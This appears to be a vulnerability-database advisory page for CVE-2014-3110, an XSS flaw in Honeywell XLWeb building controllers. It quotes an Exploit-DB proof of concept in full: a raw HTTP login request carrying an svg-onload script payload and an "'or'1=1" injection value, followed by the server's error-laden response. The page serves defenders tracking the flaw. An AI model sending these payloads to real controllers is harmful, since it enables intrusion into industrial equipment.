CVE-2014-3110

medium

Published 2014-07-24 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

Multiple cross-site scripting (XSS) vulnerabilities on Honeywell FALCON XLWeb Linux controller devices 2.04.01 and earlier and FALCON XLWeb XLWebExe controller devices 2.02.11 and earlier allow remote attackers to inject arbitrary web script or HTML via invalid input.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-44749 webapps linux text · 2 KB

t4rkd3vilz · 2018-05-24

Honeywell XL Web Controller - Cross-Site Scripting

text exploit Source: Exploit-DB

# Exploit Title: Honeywell XL Web Controller - Cross-Site Scripting
# Date: 2018-05-24
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.honeywell.com
# Version: WebVersion : XL1000C50 EXCEL WEB 52 I/O, XL1000C100 EXCEL WEB
# 104 I/O, XL1000C500 EXCEL WEB 300 I/O, XL1000C1000 EXCEL WEB 600 I/O,
# XL1000C50U EXCEL WEB 52 I/O UUKL, XL1000C100U EXCEL WEB 104 I/O UUKL,
# XL1000C500U EXCEL WEB 300 I/O UUKL, and XL1000C1000U EXCEL WEB 600 I/O UUKL.
# Tested on: Linux
# CVE: CVE-2014-3110

# PoC

POST /standard/mainframe.php HTTP/1.1
Cache-Control: no-cache
Referer: http://79.2.122.25/standard/mainframe.php
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
Cookie: Locale=1033
Accept-Encoding: gzip, deflate
Content-Length: 222
Content-Type: application/x-www-form-urlencoded

SessionID=&LocaleID='or'1=1&LoginSessionID=&LoginUserNameMD5="/><svg/
onload=prompt(/XSS/)>
&LoginPasswordMD5=&LoginCommand=&LoginPassword=&
rememberMeCheck=&LoginDevice=192.168.1.12&LoginUserName=Guest

HTTP/1.1 200 OK
Set-Cookie: rememberUser=deleted; expires=Wednesday, 24-May-17 08:54:02
GMT; path=/
Server: Apache/1.3.23 (Unix) PHP/4.4.9
X-Powered-By: PHP/4.4.9
Content-Type: text/html
Transfer-Encoding: chunked
Date: Thu, 24 May 2018 08:54:03 GMT

<br />
<b>Warning</b>:  xw_get_users() expects parameter 1 to be long, string
given in <b>/mnt/mtd6/xlweb/web/standard/login/loginpage.php</b> on line
<b>97</b><br />
<br />
<b>Warning</b>:  xml_load_texts_file() expects parameter 2 to be long,
string given in <b>/mnt/mtd6/xlweb/web/standard/include/elements.php</b> on
line <b>247</b><br />
<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    <meta http-equiv="expires" content="0"/>
    <link rel="stylesheet" href="include/honeywell.css"/>
    <title><br />
<b>Notice</b>:  Undefined index:  HeadTitle in <b>/mnt/mtd6/xlweb/web/
standard/login/loginpage.php</b> on line <b>300</b><br />
</title>

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.